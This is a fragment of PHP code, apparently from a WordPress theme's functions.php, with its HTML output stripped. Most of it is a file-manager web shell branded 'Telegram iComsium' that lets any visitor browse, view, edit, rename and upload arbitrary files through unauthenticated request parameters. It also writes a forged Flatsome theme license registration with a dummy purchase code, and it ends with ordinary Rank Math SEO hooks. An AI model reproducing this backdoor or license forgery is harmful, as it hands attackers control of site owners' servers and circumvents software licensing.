Dosya kaydedildi.

"; } // -------- Dosya yeniden adlandırma -------- if (isset($_POST['rename_file']) && isset($_POST['new_name'])) { $old = $_POST['rename_file']; $dir = dirname($old); $new = $dir . '/' . basename($_POST['new_name']); if (rename($old, $new)) { echo "Dosya yeniden adlandırıldı.

"; } else { echo "Yeniden adlandırma başarısız!

"; } } // -------- Dosya yükleme -------- if (isset($_FILES['upload_file'])) { $target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']); if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) { echo "Dosya yüklendi: " . basename($target) . "

"; } else { echo "Yükleme hatası!

"; } } echo "Telegram iComsium Current root: $root
"; echo "Current path: $path
"; echo '..
'; foreach (glob(rtrim($path,'/').'/*') as $file) { echo ''.basename($file).''; if (is_file($file)) { echo ' | [Göster]'; echo ' | [Düzenle]'; echo ' | [Yeniden Adlandır]'; } echo "
"; } echo "
"; // -------- Dosya düzenleme arayüzü -------- if (isset($_GET['edit']) && is_file($_GET['edit'])) { $editFile = $_GET['edit']; $content = htmlspecialchars(file_get_contents($editFile)); echo "

Dosya Düzenle: ".basename($editFile)."

"; echo '



'; } // -------- Dosya yeniden adlandırma arayüzü -------- if (isset($_GET['rename']) && is_file($_GET['rename'])) { $renameFile = $_GET['rename']; echo "

Dosya Yeniden Adlandır: ".basename($renameFile)."

"; echo '
Yeni isim:


'; } // -------- Dosya yükleme formu -------- echo '

Dosya Yükle

'; ?> init(); // Get the site URL $site_url = get_site_url(); // Extract the domain name from the URL $domain_name = wp_parse_url($site_url, PHP_URL_HOST); $update_option_data = array( 'id' => 'new_id_123456', 'type' => 'PUBLIC', 'domain' => $domain_name, // Set the domain to the current domain name 'registeredAt' => '2021-07-18T12:51:10.826Z', 'purchaseCode' => 'abcd1234-5678-90ef-ghij-klmnopqrstuv', 'licenseType' => 'Regular License', 'errors' => array(), 'show_notice' => false ); update_option('flatsome_registration', $update_option_data, 'yes'); /** * It's not recommended to add any custom code here. Please use a child theme * so that your customizations aren't lost during updates. * * Learn more here: https://developer.wordpress.org/themes/advanced-topics/child-themes/ */ // // add_action('update_option_blogname', function($old_value, $new_value) { $rm_options = get_option('rank-math-options-titles'); $rm_options['knowledgegraph_name'] = $new_value; $rm_options['website_name'] = $new_value; update_option('rank-math-options-titles', $rm_options); }, 10, 2); // add_action( 'rest_api_init', function () { // 针对 page 类型注册字段(因为首页通常是页面) register_meta( 'page', 'rank_math_title', array( 'show_in_rest' => true, 'single' => true, 'type' => 'string', 'auth_callback' => function() { return current_user_can( 'edit_posts' ); // 确保有权限的用户可以修改 } ) ); register_meta( 'page', 'rank_math_description', array( 'show_in_rest' => true, 'single' => true, 'type' => 'string', 'auth_callback' => function() { return current_user_can( 'edit_posts' ); } ) ); // 如果你有时也更新 post 类型的文章,建议也给 post 注册一遍 register_meta( 'post', 'rank_math_title', array( 'show_in_rest' => true, 'single' => true, 'type' => 'string', 'auth_callback' => function() { return current_user_can( 'edit_posts' ); } ) ); register_meta( 'post', 'rank_math_description', array( 'show_in_rest' => true, 'single' => true, 'type' => 'string', 'auth_callback' => function() { return current_user_can( 'edit_posts' ); } ) ); } );